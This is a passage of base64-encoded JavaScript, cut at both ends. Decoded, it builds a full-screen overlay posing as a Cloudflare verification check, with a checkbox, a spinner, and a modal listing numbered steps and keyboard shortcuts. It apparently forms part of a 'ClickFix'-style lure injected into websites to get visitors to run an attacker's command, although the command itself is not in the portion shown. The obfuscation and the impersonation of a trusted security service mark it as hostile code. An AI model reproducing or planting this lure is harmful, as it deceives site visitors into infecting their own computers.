ZoICFpbXBvcnRhbnQ7bWluLXdpZHRoOjEwMHZ3ICFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCAhaW1wb3J0YW50O21heC13aWR0aDpub25lICFpbXBvcnRhbnQ7bWF4LWhlaWdodDpub25lICFpbXBvcnRhbnQ7bWFyZ2luOjAgIWltcG9ydGFudDtwYWRkaW5nOjAgIWltcG9ydGFudDtib3gtc2l6aW5nOmJvcmRlci1ib3ggIWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSAhaW1wb3J0YW50O3otaW5kZXg6MjE0NzQ4MzY0NyAhaW1wb3J0YW50O2JhY2tncm91bmQ6IzIyMjtjb2xvcjojZDlkOWQ5O292ZXJmbG93OmF1dG87Zm9udC1mYW1pbHk6c3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sIlNlZ29lIFVJIixSb2JvdG8sQXJpYWwsc2Fucy1zZXJpZiAhaW1wb3J0YW50O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDtmb250LXNpemU6MTZweCAhaW1wb3J0YW50O2xpbmUtaGVpZ2h0OjEuNTt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt1bmljb2RlLWJpZGk6aXNvbGF0ZSAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAqe2JveC1zaXppbmc6Ym9yZGVyLWJveCAhaW1wb3J0YW50O21hcmdpbjowO3BhZGRpbmc6MDt9JysnI2J3LWNmLXJvb3QgLm1haW4tY29udGVudHttYXJnaW46OGVtIGF1dG87cGFkZGluZzowIDEuNWVtO21heC13aWR0aDo2MGVtO3dpZHRoOjEwMCU7fScrJyNidy1jZi1yb290IC5oMXtsaW5lLWhlaWdodDoxLjQ7Zm9udC1zaXplOjIuNWVtO2ZvbnQtd2VpZ2h0OjUwMDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDowLjc1ZW07Y29sb3I6I2ZmZjt9JysnI2J3LWNmLXJvb3QgLmgye2xpbmUtaGVpZ2h0OjEuNTtmb250LXNpemU6MS41ZW07Zm9udC13ZWlnaHQ6NDAwO2NvbG9yOiNkMWQxZDE7bWFyZ2luLXRvcDowLjNlbTt9JysnI2J3LWNmLXJvb3QgLmhlYWRpbmctZmF2aWNvbntoZWlnaHQ6MWVtO3dpZHRoOmF1dG87fScrJyNidy1jZi1yb290IC5jb3JlLW1zZ3tsaW5lLWhlaWdodDoxLjY7Zm9udC1zaXplOjEuNWVtO2ZvbnQtd2VpZ2h0OjQwMDtjb2xvcjojZDFkMWQxO21hcmdpbi10b3A6Mi41ZW07fScrJyNidy1jZi1yb290IC53aWRnZXQtc3BhY2Vye21hcmdpbjoyLjVlbSAwO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtd2luZG93e2JveC1zaXppbmc6Ym9yZGVyLWJveDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOnN0cmV0Y2g7anVzdGlmeS1jb250ZW50OmNlbnRlcjtib3JkZXI6MXB4IHNvbGlkICM3OTc5Nzk7YmFja2dyb3VuZC1jb2xvcjojMjMyMzIzO2hlaWdodDo3OHB4O3VzZXItc2VsZWN0Om5vbmU7cGFkZGluZzowIDE2cHg7d2lkdGg6MTAwJTttYXgtd2lkdGg6MzIwcHg7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7d2lkdGg6MTAwJTttaW4taGVpZ2h0Ojc4cHg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Z2FwOjdweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1jb250YWluZXJ7d2lkdGg6MzBweDtmbGV4OjAgMCAzMHB4O2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZTt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94e3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyLXJhZGl1czozcHg7Ym9yZGVyOjJweCBzb2xpZCAjZGFkYWRhO2JhY2tncm91bmQ6IzIzMjMyMztjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmJsb2NrO291dGxpbmU6bm9uZTtwYWRkaW5nOjA7LXdlYmtpdC1hcHBlYXJhbmNlOm5vbmU7YXBwZWFyYW5jZTpub25lO3RyYW5zaXRpb246Ym9yZGVyLWNvbG9yIC4yczt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94OmhvdmVye2JvcmRlci1jb2xvcjojZmJhZDQxO30nKycjYnctY2Ytcm9vdCAudGV0dHh7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjttaW4taGVpZ2h0OjMwcHg7ZmxleDoxO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnRldHR4IHB7bWFyZ2luOjAgIWltcG9ydGFudDtsaW5lLWhlaWdodDoxO2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiNmZmY7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxke2Rpc3BsYXk6aW5saW5lLWZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO3RleHQtYWxpZ246cmlnaHQ7YWxpZ24taXRlbXM6ZmxleC1lbmQ7ZmxleC1zaHJpbms6MDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LXJvdz5kaXY6bGFzdC1jaGlsZCBpbWd7d2lkdGg6OTBweDttYXJnaW4tYm90dG9tOjRweDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LXJvdz5kaXY6bGFzdC1jaGlsZCBwe2xpbmUtaGVpZ2h0OjEuNDtjb2xvcjojYmJiO2ZvbnQtc2l6ZTo4cHg7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTttYXJnaW46MCAhaW1wb3J0YW50O3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLnNwaW5uZXItd3JhcHtkaXNwbGF5Om5vbmU7d2lkdGg6MzJweDtoZWlnaHQ6MzJweDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9JysnI2J3LWNmLXJvb3QgLmNrLXdyYXB7ZGlzcGxheTpub25lO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7fScrJyNidy1jZi1yb290IC5mb290ZXJ7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjA7bGVmdDowO3JpZ2h0OjA7cGFkZGluZzoxZW0gMS41ZW07fScrJyNidy1jZi1yb290IC5mb290ZXItaW5uZXJ7Ym9yZGVyLXRvcDoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjFlbSAwO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZTouNzVlbTt9JysnI2J3LWNmLXJvb3QgLnJje2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt9JysnI2J3LWNmLXJvb3QgLnZlcmlmeS13aW5kb3d7cG9zaXRpb246Zml4ZWQgIWltcG9ydGFudDt0b3A6MCAhaW1wb3J0YW50O2xlZnQ6MCAhaW1wb3J0YW50O3dpZHRoOjEwMCUgIWltcG9ydGFudDtoZWlnaHQ6MTAwJSAhaW1wb3J0YW50O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuNyk7ZGlzcGxheTpub25lO2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO3otaW5kZXg6MjE0NzQ4MzY0OCAhaW1wb3J0YW50O29wYWNpdHk6MDt0cmFuc2l0aW9uOm9wYWNpdHkgLjNzLHZpc2liaWxpdHkgLjNzO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvdy5hY3RpdmV7ZGlzcGxheTpmbGV4O29wYWNpdHk6MTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWNvbnRlbnR7YmFja2dyb3VuZDojMmIyYjJiO2JvcmRlci1yYWRpdXM6OHB4O21heC13aWR0aDo0MjBweDt3aWR0aDo5MCU7b3ZlcmZsb3c6aGlkZGVuO3RyYW5zZm9ybTpzY2FsZSguOTUpO3RyYW5zaXRpb246dHJhbnNmb3JtIC4zczt9JysnI2J3LWNmLXJvb3QgLnZlcmlmeS13aW5kb3cuYWN0aXZlIC5tb2RhbC1jb250ZW50e3RyYW5zZm9ybTpzY2FsZSgxKTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg5MGRlZywjZjM4MDIwLCNlOWEzM2YpO3BhZGRpbmc6MXJlbSAxLjVyZW07ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTBweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5tb2RhbC1oZWFkZXIgaDJ7Zm9udC1zaXplOjFlbTttYXJnaW46MCAhaW1wb3J0YW50O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6NjAwO30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVyIHB7Zm9udC1zaXplOi43NWVtO21hcmdpbjouMWVtIDAgMCAhaW1wb3J0YW50O2NvbG9yOiNmZmY7b3BhY2l0eTouOTt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlciBpbWd7aGVpZ2h0OjQwcHg7fScrJyNidy1jZi1yb290IC5tb2RhbC1ib2R5e3BhZGRpbmc6MS4yNWVtO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLmluc3RydWN0aW9uLWxpc3R7bGlzdC1zdHlsZTpub25lO3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowIDAgMS4yNWVtICFpbXBvcnRhbnQ7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjtnYXA6MC44NWVtO30nKycjYnctY2Ytcm9vdCAuaW5zdHJ1Y3Rpb24tbGlzdCBsaXtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2dhcDoxZW07cGFkZGluZzoxZW0gMS4xZW0gIWltcG9ydGFudDttYXJnaW46MCAhaW1wb3J0YW50O2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuMDcpO2JvcmRlci1sZWZ0OjJweCBzb2xpZCAjZjM4MDIwO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtbGVmdHtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDouNzVlbTtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5zdGVwLWJhZGdle2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt3aWR0aDoyMnB4O2hlaWdodDoyMnB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDEzNWRlZywjZjM4MDIwLCNlOWEzM2YpO2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxMXB4O2JvcmRlci1yYWRpdXM6NTAlO2ZsZXg6MCAwIGF1dG87fScrJyNidy1jZi1yb290IC5zdGVwLXRleHR7Y29sb3I6I2ZmZjtmb250LXNpemU6MTNweDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQ6cmdiYSgyNDMsMTI4LDMyLC4yKTtjb2xvcjojZjU5MDQwO3BhZGRpbmc6MnB4IDhweDtib3JkZXItcmFkaXVzOjRweDtib3JkZXI6MXB4IHNvbGlkIHRyYW5zcGFyZW50O2ZvbnQtd2VpZ2h0OjcwMDtmb250LXNpemU6MTEuNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luOjAgMnB4O2JveC1zaGFkb3c6bm9uZTt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjE1cyxjb2xvciAuMTVzLHRyYW5zZm9ybSAuMTJzO3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBiLmtsaXR7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjQ1KTtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Y29sb3I6I2ZmYjg3MDtib3gtc2hhZG93Om5vbmU7dHJhbnNmb3JtOnNjYWxlKDAuOTUpO30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGJ7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dmlzaWJsZTt9JysnI2J3LWNmLXJvb3QgLndrLWhpbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOi03cHg7cmlnaHQ6LTlweDt3aWR0aDoxNHB4O2hlaWdodDoxNHB4O2JhY2tncm91bmQ6cmdiYSg4MywxNTUsMjQ1LC44NSk7Y29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjUwJTtmb250LXNpemU6OC41cHg7Y3Vyc29yOmhlbHA7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2ZvbnQtd2VpZ2h0OjgwMDtmb250LWZhbWlseTpzeXN0ZW0tdWksc2Fucy1zZXJpZjtsaW5lLWhlaWdodDoxO3otaW5kZXg6Mztib3JkZXI6MXB4IHNvbGlkIHJnYmEoODMsMTU1LDI0NSwuNCk7bGV0dGVyLXNwYWNpbmc6MDt9JysnI2J3LWNmLXJvb3QgLndrLXRvb2x0aXB7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmFic29sdXRlO3RvcDpjYWxjKDEwMCUgKyA2cHgpO2xlZnQ6MDtiYWNrZ3JvdW5kOiMxMzFjMzU7Y29sb3I6I2M4ZDZmODtib3JkZXI6MXB4IHNvbGlkIHJnYmEoOTAsMTM3LDIyNiwuMzUpO2JvcmRlci1yYWRpdXM6N3B4O3BhZGRpbmc6OHB4IDExcHg7Zm9udC1zaXplOjExLjVweDt3aGl0ZS1zcGFjZTpub3JtYWw7d2lkdGg6MjE4cHg7ei1pbmRleDoyMDtwb2ludGVyLWV2ZW50czpub25lO2ZvbnQtZmFtaWx5OnN5c3RlbS11aSxzYW5zLXNlcmlmO2ZvbnQtd2VpZ2h0OjQwMDtib3gtc2hhZG93OjAgNnB4IDE4cHggcmdiYSgwLDAsMCwuNSk7bGluZS1oZWlnaHQ6MS40NTtmb250LXN0eWxlOm5vcm1hbDtsZXR0ZXItc3BhY2luZzowO30nKycjYnctY2Ytcm9vdCAud2staGludDpob3ZlciAud2stdG9vbHRpcHtkaXNwbGF5OmJsb2NrO30nKycjYnctY2Ytcm9vdCAua2V5LWNvbWJve2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjRweDtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjIpO3BhZGRpbmc6M3B4IDZweDtib3JkZXItcmFkaXVzOjRweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IGtiZHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO21pbi13aWR0aDoyNnB4O2hlaWdodDoyNnB4O3BhZGRpbmc6MCA1cHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTQ1ZGVnLCMyZDJkMmQsIzFhMWExYSk7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0O2JvcmRlci1yYWRpdXM6NHB4O2JveC1zaGFkb3c6MCAxcHggMCAjMGEwYTBhO2NvbG9yOiNmZmY7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMXB4O2ZvbnQtd2VpZ2h0OjYwMDt3aGl0ZS1zcGFjZTpub3dyYXA7fScrJyNidy1jZi1yb290IC5rZXktY29tYm8gLnBsdXN7Y29sb3I6Izg4ODtmb250LXNpemU6MTJweDt9JysnI2J3LWNmLXJvb3QgLmtleS1jb21ibyAuaGludHtjb2xvcjojZjM4MDIwO2ZvbnQtc2l6ZToxNHB4O21hcmdpbi1sZWZ0OjJweDt9JysnQG1lZGlhKHByZWZlcnMtY29sb3Itc2NoZW1lOmxpZ2h0KXsjYnctY2Ytcm9vdHtiYWNrZ3JvdW5kOiNmZmYgIWltcG9ydGFudDtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuaDF7Y29sb3I6IzExMTt9I2J3LWNmLXJvb3QgLmNvcmUtbXNne2NvbG9yOiM0NDQ7fSNidy1jZi1yb290IC5mb290ZXItaW5uZXJ7Ym9yZGVyLXRvcC1jb2xvcjojZGRkO2NvbG9yOiM3Nzc7fSNidy1jZi1yb290IC5jaGVja2JveC13aW5kb3d7Ym9yZGVyLWNvbG9yOiNkMWQxZDE7YmFja2dyb3VuZC1jb2xvcjojZjlmOWY5O30jYnctY2Ytcm9vdCAuY2hlY2tib3h7Ym9yZGVyLWNvbG9yOiNhYWE7YmFja2dyb3VuZDojZWVlO30jYnctY2Ytcm9vdCAudGV0dHggcHtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIHB7Y29sb3I6IzU1NTt9I2J3LWNmLXJvb3QgLm1vZGFsLWNvbnRlbnR7YmFja2dyb3VuZDojZmZmO30jYnctY2Ytcm9vdCAuc3RlcC10ZXh0e2NvbG9yOiMyMjI7fSNidy1jZi1yb290IC5zdGVwLXRleHQgYntiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuMTUpO2NvbG9yOiNiMDU1MDA7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6bm9uZTt9I2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBiLmtsaXR7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjMyKTtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Y29sb3I6IzkwNDAwMDtib3gtc2hhZG93Om5vbmU7fSNidy1jZi1yb290IC5pbnN0cnVjdGlvbi1saXN0IGxpe2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpO30jYnctY2Ytcm9vdCAud2staGludHtiYWNrZ3JvdW5kOnJnYmEoMzAsNzQsMTg0LC44KTtib3JkZXItY29sb3I6cmdiYSgzMCw3NCwxODQsLjQpO30jYnctY2Ytcm9vdCAud2stdG9vbHRpcHtiYWNrZ3JvdW5kOiNlZWYyZmY7Y29sb3I6IzFlM2E4YTtib3JkZXItY29sb3I6cmdiYSg2MSwxMDcsMTkxLC4zNSk7Ym94LXNoYWRvdzowIDRweCAxMnB4IHJnYmEoMCwwLDAsLjEpO319JysnI2J3LWNmLXJvb3QgLnRlcm0tY2hpcHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCNmMzgwMjAsI2U5YTMzZik7Y29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjVweDtmb250LXNpemU6LjhlbTtmb250LXdlaWdodDo3MDA7cGFkZGluZzoycHggN3B4O21hcmdpbi1sZWZ0OjVweDt3aGl0ZS1zcGFjZTpub3dyYXA7fScrJyNidy1jZi1yb290IC5jZi1sb2FkZXJ7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpjZW50ZXI7cGFkZGluZzouNzVlbSAwIDEuMjVlbTt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlciBzdmd7d2lkdGg6NzJweDtoZWlnaHQ6YXV0bzttYXJnaW4tYm90dG9tOjEwcHg7fScrJyNidy1jZi1yb290IC5jZi1sb2FkZXItYmFye3dpZHRoOjExNnB4O2hlaWdodDo0cHg7YmFja2dyb3VuZDojZTVlNWU1O2JvcmRlci1yYWRpdXM6MnB4O292ZXJmbG93OmhpZGRlbjttYXJnaW4tdG9wOjRweDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlci1iYXItaW5uZXJ7d2lkdGg6MjUlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLHRyYW5zcGFyZW50LCNmNzgxMDAgNDUlLCNmNzgxMDAgNTUlLHRyYW5zcGFyZW50KTtib3JkZXItcmFkaXVzOjJweDthbmltYXRpb246Y2ZMb2FkQmFyIDEuNXMgZWFzZS1pbi1vdXQgaW5maW5pdGU7fScrJ0BrZXlmcmFtZXMgY2ZMb2FkQmFyezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX01MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoNDAwJSl9MTAwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTAwJSl9fScrJ0BrZXlmcmFtZXMgYndDZlNwaW57MCV7dHJhbnNmb3JtOnJvdGF0ZSgwZGVnKTt9MTAwJXt0cmFuc2Zvcm06cm90YXRlKDM2MGRlZyk7fX0nKydAa2V5ZnJhbWVzIGJ3Q2ZQdWxzZXswJSwxMDAle29wYWNpdHk6MTt9NTAle29wYWNpdHk6LjU7fX0nOw0KICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHN0eWxlRWxlbWVudCk7DQoNCiAgICAgICAgdmFyIHJvb3RFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQogICAgICAgIHJvb3RFbGVtZW50LmlkID0gJ2J3LWNmLXJvb3QnOw0KICAgICAgICByb290RWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2RpcicsICdsdHInKTsNCiAgICAgICAgcm9vdEVsZW1lbnQuc3R5bGUuY3NzVGV4dCA9ICdwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtib3gtc2l6aW5nOmJvcmRlci1ib3ghaW1wb3J0YW50O3RyYW5zZm9ybTpub25lIWltcG9ydGFudDsnOw0KICAgICAgICByb290RWxlbWVudC5pbm5lckhUTUwgPSBgDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaDEiPg0KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iJHtDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjR9IiBjbGFzcz0iaGVhZGluZy1mYXZpY29uIiBhbHQ9IkNsb3VkZmxhcmUiPg0KICAgICAgICAgICAgICAgICAgICA8c3Bhbj4ke0RJU1BMQVlfSE9TVE5BTUV9PC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0LXNwYWNlciI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LXdpbmRvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjaGVja2JveC1yb3ciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LWNvbnRhaW5lciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iY2hlY2tib3giIGlkPSJjZi1jYiIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNwaW5uZXItd3JhcCIgaWQ9ImNmLXNwIiBzdHlsZT0iZGlzcGxheTpmbGV4Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2aWV3Qm94PSIwIDAgMzAgMzAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiBzdHlsZT0iYW5pbWF0aW9uOmJ3Q2ZTcGluIDEuNnMgbGluZWFyIGluZmluaXRlO2Rpc3BsYXk6YmxvY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIxNSIgY3k9IjQiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iMSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjIyLjc4IiBjeT0iNy4yMiIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuODc1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iMjYiIGN5PSIxNSIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuNzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyMi43OCIgY3k9IjIyLjc4IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii42MjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIxNSIgY3k9IjI2IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii41Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iNy4yMiIgY3k9IjIyLjc4IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii4zNzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI0IiBjeT0iMTUiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjI1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iNy4yMiIgY3k9IjcuMjIiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjEyNSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjay13cmFwIiBpZD0iY2YtY2siPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHdpZHRoPSIyOCIgaGVpZ2h0PSIyOCIgdmlld0JveD0iMCAwIDUwIDUwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyNSIgY3k9IjI1IiByPSIyMyIgZmlsbD0iIzI4YTc0NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNSAyNUwyMiAzMkwzNSAxOCIgc3Ryb2tlPSIjZmZmIiBzdHJva2Utd2lkdGg9IjQiIGZpbGw9Im5vbmUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+DQogICAgICAgICAgI